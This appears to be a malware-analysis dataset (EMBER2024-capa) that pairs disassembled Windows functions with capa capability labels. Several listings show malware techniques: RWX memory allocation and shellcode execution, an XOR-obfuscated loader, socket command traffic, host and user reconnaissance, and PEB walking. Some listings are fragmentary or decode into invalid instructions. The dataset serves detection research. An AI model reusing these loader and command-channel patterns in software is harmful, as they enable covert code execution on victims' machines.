joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002d30
Capabilities:
Encrypt data using rc4 prga
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, dword [0x1001203c]
xor eax, esp
mov dword [esp + 0xc], eax
lea eax, [esp]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push closesocket
mov dword [esp + 0x18], 0x200
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10002d8e
mov edx, dword [esp]
lea ecx, [esp + 4]
push ecx
push 0x1001409c
push eax
push eax
push str.InstallDate
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x10002d9f
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [esp + 0xc]
xor ecx, esp
call fcn.10004b1d
add esp, 0x10
ret
mov ecx, dword [esp]
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esi + 2]
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002db2
movzx edx, byte [edx]
sub eax, edi
mov ecx, eax
mov byte [esp + 8], dl
cdq
and edx, 3
add eax, edx
sar eax, 2
movzx eax, byte [eax + esi + 2]
mov dword [esp + 9], 0
mov byte [esp + 9], al
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
movzx edx, byte [eax + esi + 2]
movzx eax, byte [ecx + esi + 1]
mov byte [esp + 0xb], al
mov byte [esp + 0xa], dl
mov ecx, dword [esp + 8]
xor dword [0x1001409c], ecx
mov ecx, dword [esp + 0x10]
pop edi
xor ecx, esp
mov eax, 1
call fcn.10004b1d
add esp, 0x10
ret

Function at 0x10002fc0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x90
mov eax, dword [0x1001203c]
xor eax, esp
mov dword [esp + 0x8c], eax
xor eax, eax
push esi
push 0x7a
push eax
mov dword [esp + 0xd], eax
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
lea eax, [esp + 0x15]
push eax
mov byte [esp + 0x10], 0
call fcn.10009150
lea ecx, [esp + 0x18]
add esp, 0xc
push ecx
call fcn.100040d0
add esp, 4
lea esi, [esp + 0xc]
call fcn.10002d30
call fcn.10004260
cmp byte [0x10013479], 1
push 0x100106cc
sete dl
push 0
push str.PROTOCAL_USE_SOCKET_begin
mov byte [esp + 0x18], dl
mov dword [0x100146f8], 0
call fcn.100022d0
mov ax, word [0x100140a4]
xor byte [esp + 0x19], 0x10
mov ecx, esi
add esp, 0xc
push ecx
lea ecx, [esp + 8]
mov word [0x10014328], ax
call fcn.10002e20
movzx edx, word [0x10014328]
add esp, 4
push edx
push 0x100142e8
mov esi, edi
call fcn.10002710
add esp, 8
test eax, eax
je 0x100030a5
mov eax, dword [edi + 0xd]
push 0
push 0x8f
push 0x100140e8
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100030bd
mov ecx, dword [edi + 0xd]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x8c]
xor ecx, esp
call fcn.10004b1d
add esp, 0x90
ret
mov ecx, dword [esp + 0x90]
pop esi
xor ecx, esp
mov byte [edi], 1
mov eax, 1
call fcn.10004b1d
add esp, 0x90
ret
Function at 0x100030e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000d900
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x1001203c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
xor eax, eax
cmp byte [ebx], 3
mov byte [ebp - 0x24], 0
mov dword [ebp - 0x23], eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov byte [ebp - 0x17], al
je 0x10003191
lea esi, [ebp - 0x24]
call fcn.10003710
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x100031ce
test eax, eax
je 0x100031ce
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x100031ce
push esi
lea ecx, [ebp - 0x14]
lea edi, [ebp - 0x24]
mov edx, ebx
call fcn.10003890
add esp, 4
test al, al
je 0x100031ce
mov ecx, esi
mov dword [ebp - 4], 2
call fcn.10001f20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.10003d30
mov esi, eax
add esp, 8
test esi, esi
je 0x100031ce
cmp esi, 0xffffffff
je 0x100031ce
push 0x40
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x100031e2
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10004e69
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [ebp - 0x14]
push esi
push edi
call fcn.1000af10
add esp, 0xc
test esi, esi
je 0x100031fd
push esi
call fcn.10004e69
add esp, 4
mov ecx, edi
mov dword [ebp - 4], 0
call fcn.10001f20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003230
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push esi
push edi
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000324d
pop edi
pop esi
ret
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push edi
push ecx
push esi
call fcn.1000af10
add esp, 0xc
mov ecx, esi
call fcn.10001b50
mov edi, eax
call fcn.10001ce0
push edi
call fcn.10001d60
add esp, 4
push 0
push 1
push edi
call dword [0x100140d8]
mov eax, edi
pop edi
pop esi
ret
Function at 0x10003660
Capabilities:
Send data
Send data on socket

Disassembly:
movsx eax, byte [ebx]
push ebp
mov ebp, dword [esp + 8]
dec eax
push esi
cmp eax, 6
ja case.0x1000366f.2
jmp dword [eax*4 + 0x100036f4]
xor esi, esi
test ebp, ebp
je 0x100036a0
mov eax, ebp
mov ecx, dword [ebx + 0xd]
push 0
push eax
lea eax, [esi + edi]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je case.0x1000366f.2
test eax, eax
je case.0x1000366f.2
add esi, eax
mov eax, ebp
sub eax, esi
jne 0x1000367e
mov eax, 1
pop esi
pop ebp
ret
mov edx, dword [ebx + 0xd]
push edi
push edx
mov eax, ebp
call fcn.100048c0
cmp eax, 0xc0000001
je case.0x1000366f.2
test eax, eax
je case.0x1000366f.2
mov eax, 1
pop esi
pop ebp
ret
push 0
push ebp
push edi
call fcn.10002840
add esp, 0xc
jmp 0x100036b4
push 1
push ebp
push edi
call fcn.10002840
add esp, 0xc
cmp eax, 0xc0000001
je case.0x1000366f.2
test eax, eax
jne 0x100036a0
pop esi
xor eax, eax
pop ebp
ret

Function at 0x10003710
Capabilities:
Read data from internet
Receive data
Receive data on socket

Disassembly:
sub esp, 0x18
mov eax, dword [0x1001203c]
xor eax, esp
mov dword [esp + 0x14], eax
movsx edx, byte [ecx]
xor eax, eax
mov byte [esp + 4], 0
mov dword [esp + 5], eax
mov dword [esp + 9], eax
mov dword [esp + 0xd], eax
mov byte [esp + 0x11], al
cmp edx, 7
ja case.0x10003741.2
jmp dword [edx*4 + 0x10003870]
mov ecx, dword [ecx + 0xd]
push 0
push 0xe
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle case.0x10003741.2
cmp byte [esp + 4], 0xaa
jne 0x1000385d
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esi], edx
mov dx, word [esp + 0x10]
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov word [esi + 0xc], dx
mov eax, dword [esi + 9]
mov ecx, 1
cmp word [esi + 7], cx
jne 0x100037a3
cmp word [esi + 5], cx
je case.0x10003741.2
or eax, 0xffffffff
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.10004b1d
add esp, 0x18
ret
mov ecx, dword [ecx + 9]
lea eax, [esp]
push eax
push 0xe
lea edx, [esp + 0xc]
push edx
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x100037a3
mov eax, dword [esp]
test eax, eax
jle case.0x10003741.2
cmp byte [esp + 4], 0xaa
jne 0x1000385d
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov dword [esi], eax
mov ax, word [esp + 0x10]
mov dword [esi + 4], ecx
mov dword [esi + 8], edx
mov word [esi + 0xc], ax
jmp 0x1000378b
mov eax, dword [ecx + 0xd]
push 0
push 0xe
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1000385d
cmp byte [esp + 4], 0xaa
jne 0x1000385d
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
mov dword [esi], ecx
mov cx, word [esp + 0x10]
mov dword [esi + 4], edx
mov dword [esi + 8], eax
mov word [esi + 0xc], cx
movzx eax, word [esi + 5]
test ax, ax
je 0x100037a3
movzx eax, ax
imul eax, dword [esi + 9]
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.10004b1d
add esp, 0x18
ret
xor eax, eax
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.10004b1d
add esp, 0x18
ret
Function at 0x10004000
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
xor eax, eax
push esi
push eax
push eax
push eax
mov dword [esp + 0x14], eax
push eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], 0x100032f0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
mov dword [esp + 0x14], eax
lea eax, [esp + 0xc]
push eax
push 0x10004070
push 0
push 0
call fcn.10004db9
mov ecx, dword [esp + 0x24]
add esp, 0x18
push 0xffffffffffffffff
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0xc
ret

Function at 0x100040d0
Capabilities:
Get hostname
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1dc
mov eax, dword [0x1001203c]
xor eax, esp
mov dword [esp + 0x1d8], eax
xor eax, eax
push ebp
mov ebp, dword [esp + 0x1e4]
push esi
push edi
mov dword [esp + 0x1a5], eax
mov dword [esp + 0x1a9], eax
mov dword [esp + 0x1ad], eax
mov dword [esp + 0x1b1], eax
mov dword [esp + 0x1b5], eax
mov dword [esp + 0x1b9], eax
mov dword [esp + 0x1bd], eax
mov word [esp + 0x1c1], ax
mov byte [esp + 0x1c3], al
mov byte [esp + 0x1c4], al
mov dword [esp + 0x1c5], eax
mov dword [esp + 0x1c9], eax
mov dword [esp + 0x1cd], eax
mov dword [esp + 0x1d1], eax
mov dword [esp + 0x1d5], eax
mov dword [esp + 0x1d9], eax
mov dword [esp + 0x1dd], eax
mov word [esp + 0x1e1], ax
mov byte [esp + 0x1e3], al
lea eax, [esp + 0x10]
push eax
push 2
mov byte [esp + 0x1ac], 0
mov dword [esp + 0x14], 0x20
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x20
lea ecx, [esp + 0x1a8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x100041c3
xor eax, eax
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x1d8]
xor ecx, esp
call fcn.10004b1d
add esp, 0x1dc
ret
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x1c8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp eax, 0xffffffff
je 0x100041a9
lea edi, [ebp + 2]
mov ecx, 8
lea esi, [esp + 0x1a4]
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x22]
mov ecx, 8
lea esi, [esp + 0x1c4]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x1a4]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100041a9
mov edx, dword [eax + 0xc]
xor esi, esi
cmp dword [edx], esi
je 0x1000423a
xor ecx, ecx
lea ebx, [ebx]
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [ecx + ebp + 0x42], edx
mov edx, dword [eax + 0xc]
inc esi
lea ecx, [esi*4]
add edx, ecx
cmp dword [edx], 0
jne 0x10004220
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x1e4]
pop edi
pop esi
pop ebp
xor ecx, esp
mov eax, 1
call fcn.10004b1d
add esp, 0x1dc
ret
Function at 0x100048c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, eax
lea esi, [edi + 0x2a]
push esi
call fcn.10004b7b
push esi
mov ebx, eax
push 0
push ebx
call fcn.10009150
mov eax, dword [esp + 0x28]
add esp, 0x10
push edi
push eax
call fcn.100047b0
mov edi, eax
xor esi, esi
test edi, edi
je 0x10004925
mov ebp, dword [sym.imp.WS2_32.dll_sendto]
jmp 0x10004900
mov edx, dword [esp + 0x14]
push 0x10
push 0x10014790
push 0
mov ecx, edi
sub ecx, esi
push ecx
push ebx
push edx
call ebp
cmp eax, 0xffffffff
je 0x10004942
test eax, eax
je 0x10004955
add esi, eax
cmp esi, edi
jne 0x10004900
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call fcn.10004e69
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 8
push ebx
call fcn.10004e69
add esp, 4
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 8
push ebx
call fcn.10004e69
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8

Function at 0x10004970
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ecx
push esi
push edi
push 0x40000a
call fcn.10004b7b
push 0x40000a
mov esi, eax
push 0
push esi
call fcn.10009150
mov ecx, dword [esp + 0x20]
add esp, 0x10
lea eax, [esp + 8]
push eax
push 0x100147a0
push 0
push 0x400000
push esi
push ecx
mov dword [esp + 0x20], 0x10
call dword [sym.imp.WS2_32.dll_recvfrom]
mov edi, eax
test edi, edi
jg 0x100049cb
push esi
call fcn.10004e69
add esp, 4
mov eax, edi
pop edi
pop esi
pop ecx
ret 8
mov eax, dword [esp + 0x14]
add edi, 0xffffffe0
push edi
lea edx, [esi + 0x20]
push edx
push eax
call fcn.1000af10
push esi
call fcn.10004e69
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ecx
ret 8

Function at 0x100049f0
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push edi
push esi
xor ecx, ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
mov eax, dword [esi + 8]
mov edi, dword [esi + 0x20]
mov esi, dword [esi]
cmp byte [edi + 0x18], cl
cmp byte [edi + 0x16], 0x4c
je 0x10004a18
cmp byte [edi + 0x16], 0x6c
jne 0x10004a01
cmp byte [edi], 0x4b
je 0x10004a22
cmp byte [edi], 0x6b
jne 0x10004a01
pop esi
pop edi
pop ecx
ret

Function at 0x10004b1d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001203c]
jne 0x10004b27
repz ret
jmp fcn.10005444
Function at 0x10008ddb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10006bd8
and dword [ebp - 4], 0
cmp dword [0x10013f30], 0
mov ebx, eax
jne 0x10008e8c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10008f3d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10008f3d
push eax
call fcn.10006b66
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10013f30], eax
call esi
push eax
call fcn.10006b66
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10013f34], eax
call esi
push eax
call fcn.10006b66
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10013f38], eax
call esi
push eax
call fcn.10006b66
pop ecx
mov dword [0x10013f40], eax
test eax, eax
je 0x10008e8c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10006b66
pop ecx
mov dword [0x10013f3c], eax
mov eax, dword [0x10013f3c]
cmp eax, ebx
je 0x10008ee4
cmp dword [0x10013f40], ebx
je 0x10008ee4
push eax
call fcn.10006be1
push dword [0x10013f40]
mov esi, eax
call fcn.10006be1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10008ee4
test edi, edi
je 0x10008ee4
call esi
test eax, eax
je 0x10008edb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10008edb
test byte [ebp - 0xc], 1
jne 0x10008ee4
or dword [ebp + 0x10], 0x200000
jmp 0x10008f1d
mov eax, dword [0x10013f34]
cmp eax, ebx
je 0x10008f1d
push eax
call fcn.10006be1
pop ecx
test eax, eax
je 0x10008f1d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10008f1d
mov eax, dword [0x10013f38]
cmp eax, ebx
je 0x10008f1d
push eax
call fcn.10006be1
pop ecx
test eax, eax
je 0x10008f1d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10013f30]
call fcn.10006be1
pop ecx
test eax, eax
je 0x10008f3d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10008f3f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401540
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x30
mov eax, dword [ebp + 8]
mov word [esp + 0x1c], 0x7d4c
mov word [esp + 0x18], 0xcea7
mov cl, byte [esp + 0x1b]
and cl, 0x5a
mov byte [esp + 0x1b], cl
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
mov di, word [esp + 0x18]
mov bx, word [esp + 0x1c]
add bx, 0xb1f6
mov word [esp + 0x1e], 0x6d06
cmp di, bx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], esi
jb 0x4015ae
xor eax, eax
mov byte [esp + 0x1b], 0xfd
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, esp
mov dword [ecx], 0
mov ecx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [esp + 4], eax
call ecx
mov eax, 0x534e5fd3
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407f00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x30
lea eax, [fcn.00407f00]
mov dword [esp + 0x24], eax
mov cl, byte [esp + 0x29]
mov byte [esp + 7], cl
jmp 0x407fb6
mov eax, dword [esp + 0x24]
sub eax, 0x1000
and eax, 0xfffff000
mov dword [esp + 0x14], 0x1fe88871
mov dword [esp + 0x24], eax
mov al, 1
test al, 1
jne 0x407fb6
jmp 0x407f5b
mov ax, word [esp + 0x2a]
sub ax, 0xc8c
mov word [esp + 0x2a], ax
mov eax, dword [esp + 0x20]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov dword [esp + 0x20], 0
jmp 0x407f43
mov word [esp + 0x1e], 0xc5fd
mov eax, dword [esp + 0x24]
mov cx, word [esp + 0x1e]
mov dword [esp + 0x18], eax
cmp cx, 0x52f9
jne 0x407fe7
jmp 0x407f65
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x24]
mov eax, dword [eax + 0x3c]
mov dl, byte [esp + 7]
xor dl, 0x88
mov byte [esp + 0x29], dl
cmp dword [ecx + eax], 0x4550
je 0x407f65
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x7fffbffe
jmp 0x407f21
mov al, 0xfd
mov ecx, dword [esp + 8]
or ecx, 0x75ae00db
mov edx, dword [esp + 0x24]
mov si, word [edx]
mov dword [esp + 8], ecx
movzx ecx, si
mov ah, byte [esp + 7]
sub al, ah
mov byte [esp + 0x29], al
cmp ecx, 0x5a4d
je 0x407f82
jmp 0x407f21
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
jmp 0x407f43
Function at 0x402260
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x4022ab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4022a4
test esi, esi
je 0x4022a4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402280
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402490
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4024e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4025b8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40251e
cmp eax, 4
jne 0x402540
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40252e
cmp edx, 4
je 0x40252e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402490
Function at 0x413dfa
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x413e20
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x413e20
xor al, al
jmp 0x413e35
mov edx, dword [ebp - 4]
xor eax, eax
xor ecx, ecx
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4

Function at 0x417024
Capabilities:
Inspect section memory permissions

Disassembly:
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.00416a33
add esp, 0xc
or al, 0xff
inc ebp
or al, 0x66
mov eax, dword [ebp + 0xc]
or al, 0xff
inc ebp
or al, 0x66
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x416fff
call fcn.00416ac2
sti
inc ecx
shr byte [ebx - 0x75], cl
jle 0x41707a
add edi, esi
mov dword [ebp - 0x88], edi
invalid
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401443
pop dword [ebp - 0x24]
mov eax, 0xa10338de
sub eax, 0xa0c3249b
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xc7b279c8
add dword [ebp - 0x34], 0x869fcb83
mov dword [ebp - 0x30], 0xf6af0a7a
add dword [ebp - 0x30], 0x3b8441cb
mov dword [ebp - 0x2c], 0x7da3eaca
add dword [ebp - 0x2c], 0xcea85964
mov dword [ebp - 0x28], 0xb0c639b4
add dword [ebp - 0x28], 0x4f39c64c
lea eax, [ebp - 0x34]
push eax
mov eax, 0x6bd43506
sub eax, 0x6b93c3c2
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x1e2c86eb
sub dword [ebp - 0x34], 0xa9ba1d95
mov dword [ebp - 0x30], 0xedc38cd9
sub dword [ebp - 0x30], 0xac572b64
mov dword [ebp - 0x2c], 0x64e855e
sub dword [ebp - 0x2c], 0xa2df18f2
mov dword [ebp - 0x28], 0xef68a918
sub dword [ebp - 0x28], 0xef68a918
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xcc536d1a
sub eax, 0xcc12fc0a
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3ec41
push 0
call eax
mov ecx, 0x62af
mov edx, eax
mov ebx, 0x436000
add ebx, dword [ebp - 0x24]
mov esi, 0x382be352
sub esi, 0xd3b8dd95
xor dword [ebp - 0x10], eax
mov edi, dword [ebx]
sub dword [ebp - 8], edx
sub edi, esi
add dword [ebp - 0x14], 0x462fd0da
mov dword [edx], edi
xor dword [ebp - 8], ebx
add edx, 0xfdbd6e6e
add edx, 0x2429196
add ebx, 4
loop 0x401559
add eax, 0x82ba6d31
sub eax, 0x82b8efa2
xor ebx, ebx
add ebx, eax
add eax, 0x5baa425c
add eax, 0xa455bda9
mov ecx, 0x1ab4ed76
add ecx, 0xe58b128a
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x402a69
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x424010]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402afd
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402aba
cmp dword [ebp + 0x10], ebx
jne 0x402af1
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402acc
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402aa1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 4
call fcn.004060b1
cmp eax, ebx
je 0x402b04
push ebx
push dword [0x424010]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402afd
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x424010], ebx
jne 0x402afa
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402afa
jmp 0x402afd